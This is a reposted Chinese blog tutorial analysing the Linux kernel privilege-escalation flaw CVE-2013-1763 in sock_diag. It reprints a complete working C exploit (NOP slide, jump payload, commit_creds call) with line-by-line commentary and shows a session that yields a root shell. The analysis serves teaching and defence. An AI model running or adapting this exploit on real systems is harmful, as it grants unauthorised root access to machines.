一则利用内核漏洞获取root权限的案例【转】

转自：https://blog.csdn.net/u014089131/article/details/73933649

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1. 漏洞描述
2. 漏洞的影响范围
3. 漏洞曝光时间
4. 漏洞产生的原因
5. 漏洞的利用
6. exploit代码分析

kernel 最近出了一个新的本地提权安全漏洞CVE-2013-1763，影响范围比较广泛，ubuntu，Arch，fedora都受到其影响，漏洞刚公布就有牛人发布了利用该漏洞获取root权限的攻击代码，下面会分析该代码是如何获取root权限的。

首先对CVE-2013-1763这个安全漏洞简单介绍一下。

1. 漏洞描述

在net/core/sock_diag.c中，__sock_diag_rcv_msg函数未对sock_diag_handlers数组传入的下标做边界检查，导致可能越界，进而导致可执行代码的漏洞。没有root权限的用户可以利用该漏洞获取到root权限。

2. 漏洞的影响范围

linux kernel 3.0-3.7.10

3. 漏洞曝光时间

2013/02/19

4. 漏洞产生的原因

首先看一下这个漏洞的patch：

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1. net/core/sock_diag.c View file @ 6e601a5  
2. @@ -121,6 +121,9 @@ static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)  
3.    if (nlmsg_len(nlh) < sizeof(*req))  
4.      return -EINVAL;  
5.    
6. +  if (req->sdiag_family >= AF_MAX)  
7. +    return -EINVAL;  
8. +  
9.    hndl = sock_diag_lock_handler(req->sdiag_family);  
10.    if (hndl == NULL)  
11.      err = -ENOENT;  

Patch 很简单，只是加上了数组边界判断而已。那么在看看sock_diag_lock_hander这个函数做了些什么：

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1. static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)  
2. {  
3.         if (sock_diag_handlers[family] == NULL)  
4.                 request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,  
5.                                 NETLINK_SOCK_DIAG, family);  
6.   
7.         mutex_lock(&sock_diag_table_mutex);  
8.         return sock_diag_handlers[family];//这个函数没有对传入的family的值的范围,进行验证,从而造成数组越界.  
9. }  

这个函数也没有做什么，只是对 sock_diag_lock_hander[family]进行检测，是否为NULL，如果为NULL申请注册，然后加上了一把锁，最后返回的是它的地址。

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1. static struct sock_diag_handler *sock_diag_handlers[AF_MAX];  //可以看出,这个指针数组最大为AF_MAX AF_MAX = 40.  

接着我们再看看完整的__sock_diag_rcv_msg函数。

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1. static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)  
2. {  
3.     int err;  
4.     struct sock_diag_req *req = NLMSG_DATA(nlh);  
5.     struct sock_diag_handler *hndl;  
6.   
7.     if (nlmsg_len(nlh) < sizeof(*req))  
8.         return -EINVAL;  
9.   
10.     hndl = sock_diag_lock_handler(req->sdiag_family);//这里传入sdiag_family的值,然后返回数组指针sock_diag_handlers[reg->sdiag_family].由于没有做边界判断，那么就可以越界。  
11.     if (hndl == NULL)  
12.         err = -ENOENT;  
13.     else  
14.         err = hndl->dump(skb, nlh); //看到这里是不是很激动呢，利用这里可以让它执行我们自己的代码  
15.     sock_diag_unlock_handler(hndl);  
16.     return err;  
17. }  

5. 漏洞的利用

虽然已经找到了kernel中有这样一个漏洞，但是如何利用这个漏洞来执行我们自己的程序，取得root权限还是需要很困难的，需要对kernel系统以及计算机运行原理非常了解才可以，并且这些程序往往需要精细设计才能达到最终的目的。 下面是某牛人写的exploit代码，请欣赏：

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1. /*  
2. * quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8 
3. * bug found by Spender 
4. * poc by SynQ 
5. *  
6. * hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux 
7. * using nl_table->hash.rehash_time, index 81 
8. *  
9. * Fedora 18 support added 
10. *  
11. * 2/2013 
12. */  
13.   
14. #include <unistd.h>  
15. #include <sys/socket.h>  
16. #include <linux/netlink.h>  
17. #include <netinet/tcp.h>  
18. #include <errno.h>  
19. #include <linux/if.h>  
20. #include <linux/filter.h>  
21. #include <string.h>  
22. #include <stdio.h>  
23. #include <stdlib.h>  
24. #include <linux/sock_diag.h>  
25. #include <linux/inet_diag.h>  
26. #include <linux/unix_diag.h>  
27. #include <sys/mman.h>  
28.   
29. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);  
30. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);  
31. _commit_creds commit_creds;  
32. _prepare_kernel_cred prepare_kernel_cred;  
33. unsigned long sock_diag_handlers, nl_table;  
34.   
35. int __attribute__((regparm(3)))    //这是指示GCC编译器选用3个寄存器代替堆栈来传递参数。  
36. kernel_code()  
37. {  
38.     commit_creds(prepare_kernel_cred(0));  //这行代码执行之后就可以获取root权限，但是这两个函数都是内核函数，必须在内核态执行才有效。  
39.     return -1;  
40. }  
41.   
42. //这段函数没有使用，用来解释hard code jump[] 为什么是那些数值  
43. int jump_payload_not_used(void *skb, void *nlh)  
44. {  
45.     asm volatile (  
46.         "mov $kernel_code, %eax\n"  
47.         "call *%eax\n"  
48.     );  
49. }  
50.   
51. unsigned long  
52. get_symbol(char *name)  //为了获取内核函数地址  
53. {  
54.     FILE *f;  
55.     unsigned long addr;  
56.     char dummy, sym[512];  
57.     int ret = 0;  
58.    
59.     f = fopen("/proc/kallsyms", "r");  
60.     if (!f) {  
61.         return 0;  
62.     }  
63.    
64.     while (ret != EOF) {  
65.         ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);  
66.         if (ret == 0) {  
67.             fscanf(f, "%s\n", sym);  
68.             continue;  
69.         }  
70.         if (!strcmp(name, sym)) {  
71.             printf("[+] resolved symbol %s to %p\n", name, (void *) addr);  
72.             fclose(f);  
73.             return addr;  
74.         }  
75.     }  
76.     fclose(f);  
77.    
78.     return 0;  
79. }  
80.   
81. int main(int argc, char*argv[])  
82. {  
83.     int fd;  
84.     unsigned family;  
85.     struct {  
86.         struct nlmsghdr nlh;  //socket协议netlink数据包的格式  
87.         struct unix_diag_req r;  
88.     } req;  
89.     char    buf[8192];  
90.   
91.     //创建一个netlink协议的socket，因为__sock_diag_rcv_msg函数是属于NETLINK_SOCK_DIAG的  
92.     if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){  
93.         printf("Can't create sock diag socket\n");  
94.         return -1;  
95.     }  
96.   
97.     //填充数据包，就是为了最终能够执行到__sock_diag_rcv_msg中去  
98.     memset(&req, 0, sizeof(req));  
99.     req.nlh.nlmsg_len = sizeof(req);  
100.     req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;  
101.     req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;  
102.     req.nlh.nlmsg_seq = 123456;  
103.   
104.     //req.r.sdiag_family = 89;  
105.     req.r.udiag_states = -1;  
106.     req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;  
107.   
108.     if(argc==1){  
109.         printf("Run: %s Fedora|Ubuntu\n",argv[0]);  
110.         return 0;  
111.     }  
112.     else if(strcmp(argv[1],"Fedora")==0){  
113.       commit_creds = (_commit_creds) get_symbol("commit_creds");  
114.       prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");  
115.       sock_diag_handlers = get_symbol("sock_diag_handlers");  
116.       nl_table = get_symbol("nl_table");  
117.         
118.       if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){  
119.         printf("some symbols are not available!\n");  
120.         exit(1);  
121.         }  
122.   
123.       family = (nl_table - sock_diag_handlers) / 4;  
124.       printf("family=%d\n",family);  
125.       req.r.sdiag_family = family;  
126.         
127.       if(family>255){  
128.         printf("nl_table is too far!\n");  
129.         exit(1);  
130.         }  
131.     }  
132.     else if(strcmp(argv[1],"Ubuntu")==0){  
133.       commit_creds = (_commit_creds) 0xc106bc60;  
134.       prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;  
135.       req.r.sdiag_family = 81;  
136.     }  
137.   
138.     unsigned long mmap_start, mmap_size;  
139.     mmap_start = 0x10000;  //选择了一块1MB多的内存区域  
140.     mmap_size = 0x120000;    
141.     printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);  
142.   
143.         if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,  
144.                 MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {  
145.                 printf("mmap fault\n");  
146.                 exit(1);  
147.         }  
148.     memset((void*)mmap_start, 0x90, mmap_size);         //将其全部填充为0x90，在X86系统中对应的是NOP指令  
149.   
150.     char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm  
151.     unsigned long *asd = &jump[4];  
152.     *asd = (unsigned long)kernel_code; //使用kernel_code函数的地址替换掉jump[]中的0x11  
153.   
154.     //将jump这段代码放在mmap内存区域的最后，也就是说只要最后能够跳转到这块区域，就可以执行到jump代码，进而跳转执行kernel_code，因为这块区域中布满了NOP指令。  
155.     memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));  
156.   
157.     //所有准备工作完成之后，最后在这里发送socket触发这个漏洞  
158.     if ( send(fd, &req, sizeof(req), 0) < 0) {  
159.         printf("bad send\n");  
160.         close(fd);  
161.         return -1;  
162.     }  
163.   
164.     printf("uid=%d, euid=%d\n",getuid(), geteuid() );  
165.   
166.     if(!getuid())  
167.         system("/bin/sh");  
168. }  

6. exploit代码分析

在分析之前，有些概念要澄清一下，在linux系统中，用户空间和内核空间是独立存在的。在一个32位的linux系统中，每个进程会虚拟出4G的内存空间，其中3G是用户空间，1G是内核空间，用户空间的地址范围是0×00000000 到 0xBFFFFFFF，内核空间的地址是0xC0000000 到 0xFFFFFFFF。内核地址空间由所有进程共享，但只有运行在内核态的进程才能访问，用户进程可以通过系统调用切换到内核态访问内核空间，进程运行在内核态时所产生的地址都属于内核空间。

commit_creds 和prepare_kernel_cred 均为内核函数，如果要执行他们就应该切换到内核状态运行。当执行内核函数__sock_diag_rcv_msg是处于内核态的，所以这个时候调用执行kernel_code函数就可以取得root权限。

那么如何调用kernel_code函数呢？所有我们mmap了一块从0x10000开始0x120000大小的内存空间，然后将这块空间写满NOP指令，将跳转执行kernel_code的代码放在这块区域的最后面，也就是说，只要跳转执行到这块内存区域的（除了jump代码块内部）都会顺利跑到kernel_code函数。这种方法叫做NOP slide，就像坐滑滑梯一样，自然滑到底部。jump这一段代码的分析如下：

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1. char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm  
2.     unsigned long *asd = &jump[4];  
3.     *asd = (unsigned long)kernel_code;  
4.   
5. int jump_payload_not_used(void *skb, void *nlh)  
6. {  
7.     asm volatile (  
8.         "mov $kernel_code, %eax\n"  
9.         "call *%eax\n"  
10.     );  
11. }  
12.   
13. fengguoqing@VirtualBox:~/Downloads$ gcc CVE-2013-1763.c  
14. CVE-2013-1763.c: In function ‘main’:  
15. CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default]  
16. fengguoqing@VirtualBox:~/Downloads$ objdump -D a.out  
17. ….  
18. 08048763 <jump_payload_not_used>:  
19.  8048763:   55                      push   %ebp  
20.  8048764:   89 e5                   mov    %esp,%ebp  
21.  8048766:   b8 3c 87 04 08          mov    $0x804873c,%eax  
22.  804876b:   ff d0                   call   *%eax  
23.  804876d:   5d                      pop    %ebp  
24.  804876e:   c3                      ret     
25. ….  
26.   
27. (gdb) p/x jump  
28. $2 = {0x55, 0x89, 0xe5, 0xb8, 0x3c, 0x87, 0x4, 0x8, 0xff, 0xd0, 0x5d, 0xc3, 0x0} //最后发现0x11被填充成了kernel_code的地址  
29. (gdb) p kernel_code  
30. $4 = {int ()} 0x804873c <kernel_code>  

问题的关键变成了如何才能跳转到这一块内存区域呢？先看看下面这结构体的定义：

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1. struct nlmsghdr {  
2.       __u32       nlmsg_len;  /* Length of message including header */  
3.       __u16       nlmsg_type; /* Message content */  
4.       __u16       nlmsg_flags;    /* Additional flags */  
5.       __u32       nlmsg_seq;  /* Sequence number */  
6.       __u32       nlmsg_pid;  /* Sending process port ID */  
7.   };  
8.   
9.   struct unix_diag_req {  
10.       __u8    sdiag_family;  
11.       __u8    sdiag_protocol;  
12.       __u16   pad;  
13.       __u32   udiag_states;  
14.       __u32   udiag_ino;  
15.       __u32   udiag_show;  
16.       __u32   udiag_cookie[2];  
17.   };  
18.   
19. struct sock_diag_handler {  
20.         __u8 family;//  
21.         int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);  
22. };  
23.   
24.  struct netlink_table {  
25.          struct nl_portid_hash   hash; //取回这个值  
26.          struct hlist_head       mc_list;  
27.          struct listeners __rcu  *listeners;  
28.          unsigned int            flags;  
29.          unsigned int            groups;  
30.          struct mutex            *cb_mutex;  
31.          struct module           *module;  
32.          void                    (*bind)(int group);  
33.          int                     registered;  
34.  };  
35.   
36.  struct nl_portid_hash {  
37.          struct hlist_head       *table; 四个字节  
38.          unsigned long           rehash_time; //也是四个字节.0x00012b59//这个值在我们的那个范围内.  
39.    
40.          unsigned int            mask;  
41.          unsigned int            shift;  
42.    
43.          unsigned int            entries;  
44.          unsigned int            max_shift;  
45.    
46.          u32                     rnd;  
47.  };  
48.   
49. static struct netlink_table *nl_table;  

我们的牛人发现了nl_table里面有一个变量rehash_time的值正好在0x10000-0x130000这个区域内，所以可以利用这个值来跳转，只需要将sock_diag_handlers[sdiag_family]-dump正好落在这个值上就可以了。如下图所示

所以我们需要先知道nl_table和sock_diag_handlers的地址，可以通过以下两种方式查看。

[cpp]  view plain  copy

 

1. cat /proc/kallsyms  
2. sudo cat /boot/System.map-3.2.0-43-generic-pae  

但是在ubuntu系统中前一种方法无法查看到变量函数的地址，所以只有使用第二种方法了，由于 nl_table和sock_diag_handlers都是指针，所以他们的大小都是4个字节。于是就可以计算出 sdiag_family的取值了。

[cpp]  view plain  copy

 

1. fengguoqing@VirtualBox:~$ sudo cat /boot/System.map-3.5.0-17-generic |grep nl_table  
2. c189b5c0 d nl_table_lock  
3. c189b5c4 d nl_table_wait  
4. c1a488e0 b nl_table_users  
5. c1a488e4 b nl_table  
6. fengguoqing@VirtualBox:~$ sudo cat /boot/System.map-3.5.0-17-generic |grep sock_diag_handlers  
7. c1a487a0 b sock_diag_handlers  
8. (0xc1a488e4 - 0xc1a487a0) / 4 = 81L  

至此所有的谜题都解开了，然后就可以高高兴兴的黑自己一把了:

[cpp]  view plain  copy

 

1. fengguoqing@VirtualBox:~/Downloads$ gcc -o CVE-2013-1763 CVE-2013-1763.c  
2. CVE-2013-1763.c: In function ‘main’:  
3. CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default]  
4. fengguoqing@VirtualBox:~/Downloads$ id  
5. uid=1000(fengguoqing) gid=1000(fengguoqing) groups=1000(fengguoqing),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)  
6. fengguoqing@VirtualBox:~/Downloads$ ./CVE-2013-1763 Ubuntu  
7. mmapping at 0x10000, size = 0x120000  
8. uid=0, euid=0  
9. # id  
10. uid=0(root) gid=0(root) groups=0(root)  
11. #  

由于在sock_diag_lock_handler中有mutex_lock(&sock_diag_table_mutex)，但是我们在后面将程序引入到其他地方，并没有接着执行 mutex_unlock(&sock_diag_table_mutex)，所以按道理只能root成功一次，但是我在测试中发现有时候可以root多次，有时候root一次之后就不能再root了，需要重启才可以重新root。

转载： https://my.oschina.net/fgq611/blog/156089